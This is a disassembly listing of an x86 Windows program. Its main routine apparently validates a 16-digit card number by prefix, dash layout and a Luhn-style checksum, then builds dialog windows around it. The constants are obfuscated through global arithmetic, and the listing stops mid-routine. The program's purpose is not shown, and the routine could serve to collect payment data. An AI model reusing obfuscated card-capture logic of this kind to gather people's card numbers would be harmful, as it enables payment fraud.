add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_438026
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_438163: ; CODE XREF: .text:004380E4j
; .text:00438139j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_4380D3
; ---------------------------------------------------------------------------
loc_438171: ; CODE XREF: .text:0043813Bj
xor eax, eax
jmp short loc_43818E
; ---------------------------------------------------------------------------
loc_438175: ; CODE XREF: .text:004380B8j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_438026
add esp, 0Ch
loc_438184: ; CODE XREF: .text:004380D6j
push 0Bh
call sub_445660
add esp, 4
loc_43818E: ; CODE XREF: .text:00438173j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 1
jnz short loc_4381A7
call sub_4381C3
loc_4381A7: ; CODE XREF: .text:004381A0j
call sub_4455A3
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov eax, off_54F000
call eax ; sub_445578
pop edi
pop esi
pop ebx
leave
retn 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4381C3 proc near ; CODE XREF: .text:004381A2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
push 0FFFFFFF6h
call sub_445630
mov [ebp+var_8], eax
push 0
push 0FFFFFFF5h
call sub_445630
mov [ebp+var_4], eax
push 0
push 0FFFFFFF4h
call sub_445630
mov [ebp+var_C], eax
push (offset aWr+2)
push [ebp+var_8]
call sub_445624
mov dword_54F008, eax
push offset aWr ; "wr"
push [ebp+var_4]
call sub_445624
mov dword_54F004, eax
push offset aWr ; "wr"
push [ebp+var_C]
call sub_445624
add esp, 30h
mov dword_54F00C, eax
mov edi, dword_54F004
or edi, edi
jz short loc_43823C
push 0
push edi
call sub_44566C
add esp, 8
loc_43823C: ; CODE XREF: sub_4381C3+6Cj
mov edi, dword_54F00C
or edi, edi
jz short loc_438256
push 0
push edi
call sub_44566C
add esp, 8
call sub_43825C
loc_438256: ; CODE XREF: sub_4381C3+81j
pop edi
leave
retn
sub_4381C3 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43825C proc near ; CODE XREF: sub_4381C3+8Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_C], 0
call sub_44560C
mov ebx, eax
mov [ebp+var_10], ebx
jmp short loc_438294
; ---------------------------------------------------------------------------
loc_438278: ; CODE XREF: sub_43825C+3Bj
cmp byte ptr [ebx], 3Dh
jz short loc_438280
inc [ebp+var_C]
loc_438280: ; CODE XREF: sub_43825C+1Fj
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
lea ebx, [ebx+edi]
loc_438294: ; CODE XREF: sub_43825C+1Aj
cmp byte ptr [ebx], 0
jnz short loc_438278
mov edi, [ebp+var_C]
inc edi
lea edi, ds:0[edi*4]
mov [ebp+var_14], edi
push [ebp+var_14]
call sub_445654
pop ecx
mov [ebp+var_8], eax
mov dword_54F010, eax
cmp [ebp+var_8], 0
jnz short loc_4382C2
xor eax, eax
jmp short loc_43831F
; ---------------------------------------------------------------------------
loc_4382C2: ; CODE XREF: sub_43825C+60j
mov ebx, [ebp+var_10]
jmp short loc_43830C
; ---------------------------------------------------------------------------
loc_4382C7: ; CODE XREF: sub_43825C+B3j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
mov [ebp+var_4], edi
cmp byte ptr [ebx], 3Dh
jz short loc_438306
push [ebp+var_4]
call sub_445654
pop ecx
mov esi, [ebp+var_8]
mov [esi], eax
or eax, eax
jnz short loc_4382F4
jmp short loc_43831F
; ---------------------------------------------------------------------------
loc_4382F4: ; CODE XREF: sub_43825C+94j
push ebx
mov edi, [ebp+var_8]
push dword ptr [edi]
call sub_445678
add esp, 8
add [ebp+var_8], 4
loc_438306: ; CODE XREF: sub_43825C+82j
mov edx, [ebp+var_4]
lea ebx, [ebx+edx]
loc_43830C: ; CODE XREF: sub_43825C+69j
cmp byte ptr [ebx], 0
jnz short loc_4382C7
mov edx, [ebp+var_8]
mov dword ptr [edx], 0
mov eax, 1
loc_43831F: ; CODE XREF: sub_43825C+64j
; sub_43825C+96j
pop edi
pop esi
pop ebx
leave
retn
sub_43825C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438324 proc near ; CODE XREF: sub_44296E+C33p
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C6 = byte ptr -2C6h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = dword ptr -2A8h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_253 = byte ptr -253h
var_154 = byte ptr -154h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10A = byte ptr -10Ah
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_101 = byte ptr -101h
var_FF = byte ptr -0FFh
var_FC = byte ptr -0FCh
var_FB = byte ptr -0FBh
var_F8 = byte ptr -0F8h
var_F7 = byte ptr -0F7h
var_F6 = byte ptr -0F6h
var_F5 = byte ptr -0F5h
var_F3 = byte ptr -0F3h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 324h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0
jz loc_439466
mov eax, [ebp+arg_0]
mov al, [eax]
cmp al, 34h
jz short loc_43834B
cmp al, 35h
jnz loc_439466
loc_43834B: ; CODE XREF: sub_438324+1Dj
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_438353: ; CODE XREF: sub_438324+34j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_438353
mov [ebp+var_128], eax
mov edx, dword_54F16C
add edx, 4
add edx, dword_54F174
cmp eax, edx
jz short loc_438384
mov edx, dword_54F0A4
add edx, 0Ch
cmp eax, edx
jnz loc_439466
loc_438384: ; CODE XREF: sub_438324+4Dj
movsx ebx, word_54F094
sub ebx, 2
jmp short loc_4383B4
; ---------------------------------------------------------------------------
loc_438390: ; CODE XREF: sub_438324+A0j
mov eax, 30h
mul ebx
mov [ebp+var_260], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_260]
cmp ds:dword_4CA550[edx], eax
jz loc_439466
inc ebx
loc_4383B4: ; CODE XREF: sub_438324+6Aj
mov eax, dword_54F090
add eax, 5Ch
add eax, dword_54F19C
cmp ebx, eax
jb short loc_438390
mov eax, dword_54F1FC
add eax, 13h
cmp [ebp+var_128], eax
jnz loc_43859A
mov eax, [ebp+arg_0]
mov al, [eax+0Eh]
cmp al, 2Dh
jz short loc_4383EC
cmp al, 20h
jnz loc_439466
loc_4383EC: ; CODE XREF: sub_438324+BEj
mov eax, [ebp+arg_0]
mov al, [eax+9]
cmp al, 2Dh
jz short loc_4383FE
cmp al, 20h
jnz loc_439466
loc_4383FE: ; CODE XREF: sub_438324+D0j
mov eax, [ebp+arg_0]
mov al, [eax+4]
cmp al, 2Dh
jz short loc_438410
cmp al, 20h
jnz loc_439466
loc_438410: ; CODE XREF: sub_438324+E2j
mov eax, dword_54F140
add eax, 0Ch
movsx edx, word_54F208
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+11h]
mov [ebp+eax+var_FF], dl
movsx eax, word_54F144
mov edx, [ebp+arg_0]
mov dl, [edx+8]
mov [ebp+eax+var_FC], dl
mov eax, dword_54F180
mov edx, [ebp+arg_0]
mov dl, [edx+0Ah]
mov [ebp+eax+var_F7], dl
mov eax, dword_54F1DC
add eax, 7
movsx edx, word_54F0C4
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+10h]
mov [ebp+eax+var_FF], dl
mov eax, dword_54F11C
add eax, dword_54F170
mov edx, [ebp+arg_0]
mov dl, [edx+7]
mov [ebp+eax+var_FF], dl
mov eax, dword_54F120
mov edx, [ebp+arg_0]
mov dl, [edx+0Fh]
mov [ebp+eax+var_FB], dl
movsx eax, word_54F0A8
mov edx, [ebp+arg_0]
mov dl, [edx+0Ch]
mov [ebp+eax+var_F5], dl
movsx eax, word_54F13C
movsx edx, word_54F218
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+6]
mov [ebp+eax+var_103], dl
mov eax, dword_54F0E0
movsx edx, word_54F0B4
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx]
mov [ebp+eax+var_10A], dl
mov eax, dword_54F1B4
movsx edx, word_54F128
sub edx, 5
mov [ebp+eax+var_F3], dl
mov eax, dword_54F1AC
add eax, dword_54F0C8
mov edx, [ebp+arg_0]
mov dl, [edx+3]
mov [ebp+eax+var_FF], dl
mov eax, dword_54F090
add eax, 4
movsx edx, word_54F198
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Bh]
mov [ebp+eax+var_FF], dl
mov eax, dword_54F1BC
mov edx, [ebp+arg_0]
mov dl, [edx+12h]
mov [ebp+eax+var_F6], dl
mov eax, dword_54F20C
mov edx, [ebp+arg_0]
mov dl, [edx+5]
mov [ebp+eax+var_FF], dl
mov eax, dword_54F1AC
movsx edx, word_54F210
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+2]
mov [ebp+eax+var_104], dl
movsx eax, word_54F144
mov edx, [ebp+arg_0]
mov dl, [edx+0Dh]
mov [ebp+eax+var_F8], dl
mov eax, dword_54F1EC
mov edx, [ebp+arg_0]
mov dl, [edx+1]
mov [ebp+eax+var_101], dl
jmp short loc_4385A9
; ---------------------------------------------------------------------------
loc_43859A: ; CODE XREF: sub_438324+B0j
push [ebp+arg_0]
lea eax, [ebp+var_FF]
push eax
call sub_4455D4
loc_4385A9: ; CODE XREF: sub_438324+274j
mov esi, dword_54F18C
dec esi
jmp short loc_4385C7
; ---------------------------------------------------------------------------
loc_4385B2: ; CODE XREF: sub_438324+2B6j
mov al, [ebp+esi+var_FF]
cmp al, 30h
jl short loc_4385C1
cmp al, 39h
jle short loc_4385C6
loc_4385C1: ; CODE XREF: sub_438324+297j
jmp loc_439466
; ---------------------------------------------------------------------------
loc_4385C6: ; CODE XREF: sub_438324+29Bj
inc esi
loc_4385C7: ; CODE XREF: sub_438324+28Cj
mov eax, dword_54F154
add eax, 3
movsx edx, word_54F128
add eax, edx
cmp esi, eax
jb short loc_4385B2
mov eax, dword_54F0AC
sub eax, 7
mov [ebp+var_108], eax
mov esi, dword_54F1FC
jmp short loc_438638
; ---------------------------------------------------------------------------
loc_4385F2: ; CODE XREF: sub_438324+31Ej
movsx eax, [ebp+esi+var_FF]
sub eax, 30h
mov edx, dword_54F0C8
inc edx
imul eax, edx
add [ebp+var_108], eax
cmp [ebp+esi+var_FF], 34h
jle short loc_438625
mov eax, dword_54F160
add eax, 2
sub [ebp+var_108], eax
loc_438625: ; CODE XREF: sub_438324+2F1j
mov eax, dword_54F170
movsx edx, word_54F0C4
add eax, edx
sub eax, 8
add esi, eax
loc_438638: ; CODE XREF: sub_438324+2CCj
mov eax, dword_54F0BC
add eax, 10h
cmp esi, eax
jb short loc_4385F2
mov eax, dword_54F220
mov ebx, eax
add ebx, dword_54F154
sub ebx, 9
jmp short loc_438671
; ---------------------------------------------------------------------------
loc_438656: ; CODE XREF: sub_438324+360j
movsx eax, [ebp+ebx+var_FF]
sub eax, 30h
add [ebp+var_108], eax
movsx eax, word_54F0CC
inc eax
add ebx, eax
loc_438671: ; CODE XREF: sub_438324+330j
movsx eax, word_54F198
mov edx, dword_54F228
lea eax, [eax+edx+7]
cmp ebx, eax
jb short loc_438656
mov eax, [ebp+var_108]
mov ecx, 0Ah
xor edx, edx
div ecx
mov edi, dword_54F238
movsx ebx, word_54F0F4
add edi, ebx
sub edi, 2
cmp edx, edi
jnz loc_439466
lea eax, [ebp+var_FF]
push eax
call ds:dword_54CA74
pop ecx
or eax, eax
jnz loc_439466
mov esi, dword_54F1E0
sub esi, 4
mov esi, dword_54F238
jmp short loc_438701
; ---------------------------------------------------------------------------
loc_4386D6: ; CODE XREF: sub_438324+3E9j
mov eax, 30h
mul esi
mov [ebp+var_264], eax
mov eax, dword_54F140
add eax, dword_54F150
sub eax, 5
mov edx, [ebp+var_264]
cmp ds:dword_4CA550[edx], eax
jz short loc_43870F
inc esi
loc_438701: ; CODE XREF: sub_438324+3B0j
movsx eax, word_54F1A4
add eax, 5Eh
cmp esi, eax
jb short loc_4386D6
loc_43870F: ; CODE XREF: sub_438324+3DAj
movsx eax, word_54F138
mov edx, dword_54F22C
lea eax, [eax+edx+5Ah]
cmp esi, eax
jz loc_439466
mov eax, 30h
mul esi
mov [ebp+var_268], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_268]
mov ds:dword_4CA550[edx], eax
push offset byte_5509B1
call sub_43AAF7
pop ecx
mov edi, dword_54F0AC
movsx ebx, word_54F1C4
add edi, ebx
sub edi, 0Fh
push edi
push eax
movsx edi, word_54F210
sub edi, 5
push edi
push [ebp+arg_4]
call ds:dword_50C930
mov [ebp+var_134], eax
mov ecx, dword_54F1F8
sub ecx, 3
cmp eax, ecx
jnz short loc_438794
mov eax, [ebp+arg_4]
mov [ebp+var_134], eax
loc_438794: ; CODE XREF: sub_438324+465j
push offset dword_5509A4
call sub_43AAF7
push eax
push [ebp+var_134]
call sub_443A79
mov [ebp+var_12C], eax
push offset dword_550998
call sub_43AAF7
push eax
push [ebp+var_12C]
call sub_443A79
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_26C], eax
mov ebx, eax
mov ds:dword_4CA554[ebx], edi
push 0
mov eax, 30h
mul esi
mov [ebp+var_270], eax
push ds:dword_4CA554[eax]
call ds:dword_54C958
mov eax, dword_54F1D0
sub eax, 7
push eax
call ds:dword_449598
mov [ebp-10Ch], eax
lea eax, [ebp+var_11C]
push eax
push [ebp+var_12C]
call ds:dword_54C950
push offset word_55098E
call sub_43AAF7
add esp, 1Ch
mov edi, dword_54F1C0
dec edi
push edi
push dword ptr [ebp-10Ch]
movsx edi, word_54F194
movsx ebx, word_54F1F0
add edi, ebx
sub edi, 7
push edi
push [ebp+var_12C]
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
push edi
mov edi, [ebp+var_114]
sub edi, [ebp+var_11C]
push edi
movsx edi, word_54F13C
sub edi, 9
push edi
mov edi, dword_54F10C
sub edi, 2
push edi
push 50800000h
lea edi, [ebp+var_FF]
push edi
push eax
push 200h
call ds:dword_4CB93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_274], eax
mov ebx, eax
mov ds:dword_4CA558[ebx], edi
mov eax, [ebp+var_114]
sub eax, [ebp+var_11C]
mov edx, dword_54F1E0
add edx, 29h
sub eax, edx
mov [ebp+var_120], eax
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
mov ebx, dword_54F1D4
add ebx, 0F2h
sub edi, ebx
mov ebx, dword_54F204
add ebx, 3Ah
mov eax, edi
sub eax, ebx
xor edx, edx
test eax, eax
setl dl
add eax, edx
sar eax, 1
mov [ebp+var_124], eax
mov edx, dword_54F234
add edx, dword_54F184
sub edx, 0Ch
cmp eax, edx
jge short loc_438934
movsx eax, word_54F0F8
add eax, dword_54F238
sub eax, 4
mov [ebp+var_124], eax
loc_438934: ; CODE XREF: sub_438324+5F8j
push offset dword_550984
call sub_43AAF7
mov [ebp+var_278], eax
push offset dword_550980
call sub_43AAF7
mov [ebp+var_27C], eax
mov edi, dword_54F220
add edi, dword_54F140
sub edi, 3
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_54F0C8
dec edi
push edi
mov eax, 30h
mul esi
mov [ebp+var_280], eax
mov edi, eax
push ds:dword_4CA558[edi]
movsx edi, word_54F138
add edi, 0F7h
push edi
push [ebp+var_120]
mov edi, [ebp+var_124]
mov ebx, dword_54F188
add ebx, 36h
movsx edx, word_54F148
add ebx, edx
add edi, ebx
movsx ebx, word_54F0FC
dec ebx
add edi, ebx
push edi
mov edi, dword_54F154
add edi, 5
add edi, dword_54F0AC
push edi
push 50800009h
mov edi, [ebp+var_27C]
push edi
mov edi, [ebp+var_278]
push edi
movsx edi, word_54F0F8
sub edi, 5
push edi
call ds:dword_4CB93C
mov [ebp+var_138], eax
push offset word_550976
call sub_43AAF7
mov [ebp+var_284], eax
push offset byte_55095D
call sub_43AAF7
mov [ebp+var_288], eax
mov edi, dword_54F124
movsx ebx, word_54F0FC
add edi, ebx
sub edi, 4
push edi
push dword ptr [ebp-10Ch]
movsx edi, word_54F148
movsx ebx, word_54F1CC
add edi, ebx
sub edi, 0Ah
push edi
mov eax, 30h
mul esi
mov [ebp+var_28C], eax
mov edi, eax
push ds:dword_4CA558[edi]
mov edi, dword_54F1AC
add edi, 31h
add edi, dword_54F24C
push edi
push [ebp+var_120]
push [ebp+var_124]
movsx edi, word_54F104
mov ebx, dword_54F21C
lea edi, [edi+ebx+10h]
push edi
push 50800000h
mov edi, [ebp+var_288]
push edi
mov edi, [ebp+var_284]
push edi
mov edi, dword_54F214
sub edi, 3
push edi
call ds:dword_4CB93C
mov [ebp+var_13C], eax
mov eax, dword_54F0E8
dec eax
push eax
push 2
push 0
push 0
push 5
push 1
movsx eax, word_54F198
mov edx, dword_54F228
add edx, eax
sub edx, 9
push edx
mov edx, dword_54F17C
add edx, dword_54F204
sub edx, 9
push edx
mov edx, dword_54F19C
sub edx, 4
push edx
push 2BCh
mov edx, dword_54F0A0
add edx, dword_54F174
sub edx, 0Ah
push edx
push dword_54F0BC
add eax, dword_54F154
dec eax
push eax
mov eax, dword_54F1E4
add eax, 10h
push eax
call ds:dword_4CA220
mov [ebp+var_140], eax
push 1
push eax
push 30h
push [ebp+var_13C]
call ds:dword_446018
push offset byte_550953
call sub_43AAF7
mov [ebp+var_290], eax
push offset word_55094E
call sub_43AAF7
add esp, 18h
mov edi, dword_54F130
dec edi
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_54F134
sub edi, 2
push edi
push [ebp+var_138]
mov edi, dword_54F0A0
add edi, 0F2h
movsx ebx, word_54F210
add edi, ebx
mov ebx, dword_54F098
add ebx, dword_54F248
sub ebx, 9
sub edi, ebx
push edi
mov edi, [ebp+var_120]
mov ebx, dword_54F154
add ebx, dword_54F214
sub ebx, 7
sub edi, ebx
push edi
movsx edi, word_54F148
add edi, dword_54F1E4
sub edi, 4
push edi
mov edi, dword_54F108
sub edi, 7
push edi
push 50000000h
push eax
mov edi, [ebp+var_290]
push edi
mov edi, dword_54F234
add edi, dword_54F170
sub edi, 0Ch
push edi
call ds:dword_4CB93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_294], eax
mov ebx, eax
mov ds:dword_4CA55C[ebx], edi
mov eax, dword_54F20C
add eax, dword_54F174
cmp [ebp+eax+var_10A], 34h
jnz short loc_438C3B
push offset word_550946
call sub_43AAF7
pop ecx
push eax
lea edi, [ebp+var_154]
push edi
call sub_4455D4
jmp short loc_438C53
; ---------------------------------------------------------------------------
loc_438C3B: ; CODE XREF: sub_438324+8FBj
push offset dword_550938
call sub_43AAF7
pop ecx
push eax
lea edi, [ebp+var_154]
push edi
call sub_4455D4
loc_438C53: ; CODE XREF: sub_438324+915j
push offset word_5508C6
call sub_43AAF7
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_154]
push edi
push eax
lea edi, [ebp+var_253]
push edi
call ds:dword_50C928
push offset dword_5508BC
call sub_43AAF7
mov [ebp+var_298], eax
mov edi, dword_54F168
add edi, dword_54F1E0
sub edi, 6
push edi
push dword ptr [ebp-10Ch]
push dword_54F238
mov eax, 30h
mul esi
mov [ebp+var_29C], eax
mov edi, eax
push ds:dword_4CA55C[edi]
mov edi, dword_54F1D4
add edi, 28h
push edi
push [ebp+var_120]
movsx edi, word_54F1A4
add edi, 4
push edi
mov edi, dword_54F0EC
movsx ebx, word_54F13C
add edi, ebx
push edi
push 50000000h
lea edi, [ebp+var_253]
push edi
mov edi, [ebp+var_298]
push edi
movsx edi, word_54F0F8
add edi, dword_54F200
sub edi, 0Ah
push edi
call ds:dword_4CB93C
mov [ebp+var_258], eax
movsx eax, word_54F1C4
add eax, dword_54F0A4
sub eax, 0Fh
push eax
push 2
push 0
push 0
push 5
push 1
mov eax, dword_54F204
add eax, dword_54F140
sub eax, 3
push eax
movsx eax, word_54F148
add eax, dword_54F110
sub eax, 0Ah
push eax
mov eax, dword_54F158
sub eax, 3
push eax
push 190h
movsx eax, word_54F164
dec eax
push eax
mov eax, dword_54F234
add eax, dword_54F120
sub eax, 10h
push eax
movsx eax, word_54F0F8
movsx edx, word_54F0CC
add eax, edx
push eax
mov eax, dword_54F0E0
add eax, 0Ah
push eax
call ds:dword_4CA220
mov [ebp+var_130], eax
push 1
push eax
push 30h
push [ebp+var_258]
call ds:dword_446018
push offset dword_5508B0
call sub_43AAF7
mov [ebp+var_2A0], eax
push offset off_5508AC
call sub_43AAF7
mov [ebp+var_2A4], eax
mov edi, dword_54F090
sub edi, 4
push edi
push dword ptr [ebp-10Ch]
movsx edi, word_54F240
movsx ebx, word_54F1E8
add edi, ebx
sub edi, 0Fh
push edi
mov eax, 30h
mul esi
mov [ebp+var_2A8], eax
mov edi, eax
push ds:dword_4CA55C[edi]
mov edi, dword_54F120
add edi, 124h
push edi
movsx edi, word_54F1CC
mov ebx, dword_54F1BC
lea edi, [edi+ebx+2Dh]
push edi
mov edi, dword_54F10C
add edi, 49h
push edi
mov edi, dword_54F158
add edi, 43h
push edi
push 50800003h
mov edi, [ebp+var_2A4]
push edi
mov edi, [ebp+var_2A0]
push edi
mov edi, dword_54F1E0
sub edi, 4
push edi
call ds:dword_4CB93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2AC], eax
mov ebx, eax
mov ds:dword_4CA564[ebx], edi
push offset dword_5508A0
call sub_43AAF7
mov [ebp+var_2B0], eax
push offset dword_55089C
call sub_43AAF7
add esp, 28h
mov [ebp+var_2B4], eax
mov edi, dword_54F1C0
movsx ebx, word_54F118
add edi, ebx
sub edi, 9
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_54F160
sub edi, 7
push edi
mov eax, 30h
mul esi
mov [ebp+var_2B8], eax
mov edi, eax
push ds:dword_4CA55C[edi]
mov edi, dword_54F154
add edi, 11Dh
add edi, dword_54F1B0
push edi
mov edi, dword_54F200
add edi, 26h
add edi, dword_54F22C
push edi
mov edi, dword_54F098
add edi, 3Ah
add edi, dword_54F120
push edi
movsx edi, word_54F194
movsx ebx, word_54F1A4
lea edi, [edi+ebx+3]
push edi
push 50800003h
mov edi, [ebp+var_2B4]
push edi
mov edi, [ebp+var_2B0]
push edi
mov edi, dword_54F0AC
sub edi, 7
push edi
call ds:dword_4CB93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2BC], eax
mov ebx, eax
mov ds:dword_4CA560[ebx], edi
mov eax, dword_54F180
movsx edx, word_54F0FC
add eax, edx
dec eax
mov [ebp-102h], ax
jmp loc_439032
; ---------------------------------------------------------------------------
loc_438F6E: ; CODE XREF: sub_438324+D21j
push offset dword_550894
call sub_43AAF7
movzx edi, word ptr [ebp-102h]
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call ds:dword_50C928
lea eax, [ebp+var_2C6]
push eax
mov eax, dword_54F17C
add eax, dword_54F11C
sub eax, 9
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
push ds:dword_4CA560[eax]
call ds:dword_446018
push offset word_55088A
call sub_43AAF7
movzx edi, word ptr [ebp-102h]
mov ebx, dword_54F19C
add ebx, 3
add edi, ebx
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call ds:dword_50C928
add esp, 20h
lea eax, [ebp+var_2C6]
push eax
movsx eax, word_54F208
movsx edx, word_54F210
add eax, edx
sub eax, 6
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push ds:dword_4CA564[eax]
call ds:dword_446018
inc word ptr [ebp-102h]
loc_439032: ; CODE XREF: sub_438324+C45j
movzx eax, word ptr [ebp-102h]
movsx edx, word_54F1A8
add edx, 0Dh
cmp eax, edx
jl loc_438F6E
push offset word_550882
call sub_43AAF7
mov [ebp+var_2C0], eax
push offset word_55087E
call sub_43AAF7
mov [ebp+var_2C4], eax
mov edi, dword_54F200
add edi, dword_54F24C
sub edi, 0Eh
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_54F0D4
add edi, dword_54F214
sub edi, 8
push edi
mov eax, 30h
mul esi
mov [ebp-2C8h], eax
mov edi, eax
push ds:dword_4CA55C[edi]
mov edi, dword_54F0A4
add edi, 11h
push edi
mov edi, dword_54F0D8
add edi, 4Ah
add edi, dword_54F0B0
push edi
mov edi, dword_54F220
add edi, 7Ah
push edi
movsx edi, word_54F0F8
mov ebx, dword_54F174
lea edi, [edi+ebx+23h]
push edi
push 50800000h
mov edi, [ebp+var_2C4]
push edi
mov edi, [ebp+var_2C0]
push edi
push 200h
call ds:dword_4CB93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
mov ebx, eax
mov ds:dword_4CA568[ebx], edi
movsx eax, word_54F0CC
dec eax
push eax
push 58h
push 0CCh
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push ds:dword_4CA568[eax]
call ds:dword_446018
push offset dword_550874
call sub_43AAF7
mov [ebp+var_2D4], eax
push offset word_550852
call sub_43AAF7
mov [ebp+var_2D8], eax
mov edi, dword_54F168
sub edi, 2
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_54F1DC
add edi, dword_54F0D4
sub edi, 5
push edi
mov eax, 30h
mul esi
mov [ebp+var_2DC], eax
mov edi, eax
push ds:dword_4CA55C[edi]
mov edi, dword_54F10C
add edi, 3Dh
add edi, dword_54F230
push edi
push [ebp+var_120]
movsx edi, word_54F0F8
mov ebx, dword_54F224
lea edi, [edi+ebx+49h]
push edi
mov edi, dword_54F1C0
add edi, 93h
add edi, dword_54F124
push edi
push 50000000h
mov edi, [ebp+var_2D8]
push edi
mov edi, [ebp+var_2D4]
push edi
mov edi, dword_54F0D8
sub edi, 6
push edi
call ds:dword_4CB93C
mov [ebp+var_25C], eax
push 1
push [ebp+var_130]
push 30h
push eax
call ds:dword_446018
push offset dword_550848
call sub_43AAF7
mov [ebp+var_2E0], eax
push offset word_55082E
call sub_43AAF7
add esp, 18h
mov [ebp+var_2E4], eax
mov edi, dword_54F100
sub edi, 9
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_54F130
add edi, dword_54F1F4
sub edi, 0Ah
push edi
mov eax, 30h
mul esi
mov [ebp+var_2E8], eax
mov edi, eax
push ds:dword_4CA55C[edi]
mov edi, dword_54F0D4
add edi, 12h
push edi
mov edi, dword_54F230
mov ebx, edi
add ebx, 9Ah
push ebx
mov ebx, dword_54F154
add ebx, 0F1h
add ebx, edi
movsx edi, word_54F190
mov edx, dword_54F1A0
lea edi, [edi+edx+13h]
sub ebx, edi
push ebx
movsx edi, word_54F138
add edi, 7
push edi
push 50800000h
mov edi, [ebp+var_2E4]
push edi
mov edi, [ebp+var_2E0]
push edi
mov edi, dword_54F214
add edi, dword_54F1D4
sub edi, 0Bh
push edi
call ds:dword_4CB93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2EC], eax
mov ebx, eax
mov ds:dword_4CA56C[ebx], edi
push 1
push [ebp+var_130]
mov eax, 30h
push 30h
mul esi
mov [ebp+var_2F0], eax
